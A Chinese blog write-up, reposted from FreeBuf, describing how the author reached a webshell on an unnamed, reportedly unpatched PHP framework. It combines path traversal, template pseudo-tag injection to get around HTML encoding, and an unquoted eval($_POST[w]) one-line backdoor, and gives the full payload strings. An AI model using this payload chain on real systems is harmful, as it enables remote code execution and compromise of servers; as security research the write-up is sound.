?

Aug 25 2017

挖洞經驗 | 記一次曲折的Getshell過程

首頁 » 滲透測試 » 挖洞經驗 | 記一次曲折的Getshell過程   

*本文原創作者:三只小潴,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

最近在挖某框架的漏洞,其中挖到一枚Getshell,挖的過程有點曲折感覺可以寫篇文章總結一下,方便與各位大牛交流交流。

因為此框架有大量用戶,并且此漏洞并未修復,故此隱去所有有關此框架的信息,連文章中出現的代碼都是我自己另寫的,重在思路,希望大家理解。

首先通過審計定位到可能導致漏洞的代碼(路徑:/edit/creat.php):

    $file = $_GP['file'];     $viewFile = './setting/' . $file;    if (!file_exists($viewFile)) {         mkdirs(dirname($viewFile));         file_put_contents($viewFile, '<!-- SETTING URL:setting /' . $file . ' -->');     }

其中 $GP 是合并 $GET 和 $_POST 的變量。

可以看到寫入的文件路徑和寫入的部分內容都是可控的,看到這里不禁露出了一絲笑容,沒想到一枚 getshell 如此輕松。

好吧,先測試一下,把$file的值設置為:

<?php echo 1111; ?>.php

post 到 /index.php? control=edit&action=creat

(此框架是單入口)

1.jpg

預計生成的文件內容是:

<!-- SETTING URL:setting/<?php echo 1111;?>.php -->

好了,那訪問一下生成的文件,URL:

http://test.com/edit/setting/%3C%3Fphp%20echo%201111%3B%20%3F%3E.php

右鍵查看一下源碼,發現輸出的內容是:

<!-- SETTING URL:setting/&lt;?php echo 1111;?&gt;.php -->

居然被過濾了? 回溯之前的代碼,在 index.php 文件中發現代碼:

   $_GP= array_merge($_GET, $_POST);    $_GP = htmlEncode($_GP);    $control = $_GP['control'];    $action = $_GP['action'];    $controls = array('basic', 'edit');    $actions = array('index', 'creat');    if (in_array($control, $controls) &&in_array($action, $actions)) {        $file ="./$control/$action.php";         include $file;     } else {        echo 'error';     }

關鍵在開始的兩行代碼上,htmlEncode ? 搜索這個函數,找到這個函數的代碼如下:

function htmlEncode($var) {    if (is_array($var)) {        foreach ($var as $key => $value) {             $var[htmlspecialchars($key)] =htmlEncode($value);        }    } else {        $var = str_replace('&amp;', '&', htmlspecialchars($var,ENT_QUOTES));    }    return $var; }

結合起來,就是對 post 和 get 獲取到的所有內容進行htmlspecialchars,所以才會出現上面所看到的尖括號被過濾的情況。

看到這里,臉上的笑容都消失了,哎呀,果然沒那么容易。尖括號過濾了,那就沒辦法寫入PHP 代碼的解析標簽了,想不到什么突破的辦法,難道就這樣放棄么?開始犯愁…

一直想著:過濾了尖括號怎么辦?過濾了尖括號怎么辦?過濾了尖括號怎么辦……

那我能不能不用尖括號呢?不用尖括號能不能解析?要怎么才能解析?想到這里,突然就想到模板!這個框架的模板和大多數 MVC 的模板一樣,使用大括號作為標記:

function view($var) {         /*             這里一系列的處理就不寫了             過程就是對模板中出現的偽代碼進行處理             這些做過 Web MVC 開發的都知道               而偽代碼的格式與常見的格式一樣,用大括號把變量括起來,比如:{$var}             當然還有一些 {if $var==xx}、{loop $var as $value} 等等這些               其實這些處理的目的就是生成 PHP 可解析的代碼         */         //假設解析后的代碼文件存放在一個 tmp 目錄里,而目錄的路徑賦值給了 $viewFile 變量         include $viewFile; }

這樣就可以使用模板的標記 {} 來繞過尖括號 <> 的過濾,但是根據這個框架的路由協定,模板不能隨便被包含,所以只能覆蓋原有的模板。

按照這個思路,找一個有加載模板的功能,覆蓋加載的模板,覆蓋之后訪問了就可以解析了。按照這個思路,找到一個加載了模板的功能,URL是:

/index.php? control=basic&action=index

代碼路徑在/basic/index.php,代碼最后就有調用 view(‘index’);

加載的模板路徑在:

/themes/basic/index.html

按照這些信息,應該構造 $file 的值為:

../../themes/basic/index.html

但是這樣又有一個問題了,雖然構造這樣的值可以覆蓋原有的模板文件,但是寫入的文件內容就是:

<!-- SETTING URL:setting/../../themes/basic/index.html-->

這樣的話就沒有寫入需要的 Webshell 了,怎么辦呢?!

根據 URL 的特性,./1.php 和 ./test/../1.php 訪問的內容是一樣的,都是 1.php 這個文件,但是 test 這個目錄名我是可以隨便寫的,再根據模板偽代碼的格式構造一個控制 $file 的測試 POC:

../../{php echo 1111;}/../themes/basic/index.html

(根據 view() 函數的代碼,有一個{php }偽代碼標簽,處理的時候會替換為 <?php >。其實就算是沒有這標簽也可以用其他非組合的標簽代替)

2.jpg


生成的文件內容為:

<!-- SETTING URL:setting/../../{php echo1111;}/../themes/basic/index.html -->

訪問 URL:

/index.php? control=basic&action=index

右鍵查看源碼,輸出的內容為:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

證明代碼執行了,那構造一個包含一句話的 POC,按照上一個 POC 的思路,應該把 file 的值構造為:

../../{phpeval($_POST['w']);}/../themes/basic/index.html

但是訪問后發現輸出的內容為:

../../{ phpeval($_POST[&quote;w&quote;]); }/../themes/basic/index.html

想起 $file 的值是通過框架封裝的 $GP 來獲取的,$GP 的值都經過了 htmlencode,怎么辦呢?! 根據 PHP 的特性,$_POST['w'] 獲取值的時候可以把引號去掉,所以可以把 poc 改為:

../../{php eval($_POST[w]);}/../themes/basic/index.html

1.jpg

訪問 URL:/index.php? control=basic&action=index ,給參數 w傳值 echo 1111;


右鍵查看源碼,內容為:4.jpg

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

證明 post 的代碼確實被執行了,到服務器上執行:

cd /var/www/html/themes/basic/ vim index.html

5.jpg

至此,getshell 完成,雖然過程有點艱辛,但還是拿下了。

最后總結一下:

1. 剛開始遇到過濾尖括號等的 HTML 字符的時候,利用了 MVC 模板中的偽代碼代替繞過

2. 遇到覆蓋文件時候填寫完整路徑不能寫入payload 的問題,使用了構造一個不存在的目錄(目錄的名稱就是 payload)的方法進行 payload 的寫入

3. 最后寫入 payload 的時候發現也過濾了引號導致不能寫入 $POST['w'] ,根據 PHP 的特性,去掉引號依然可以獲取 w 下標的內容,所以替換為 $POST[w]

4. 寫入最終構造好的 payload,Getshell 完成!

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «如何自己寫aspx過狗D盾一句話木馬 | 如何使用C#加密攻擊載荷來繞過殺毒軟件»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

已有2條評論

匿名

2017-09-16 14:00 沙發
黑客與極客的水印都沒去還好意思說是原創!....

mOon

2017-09-22 12:04
@匿名:*本文原創作者:三只小潴,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
?
?
河北11选5开奖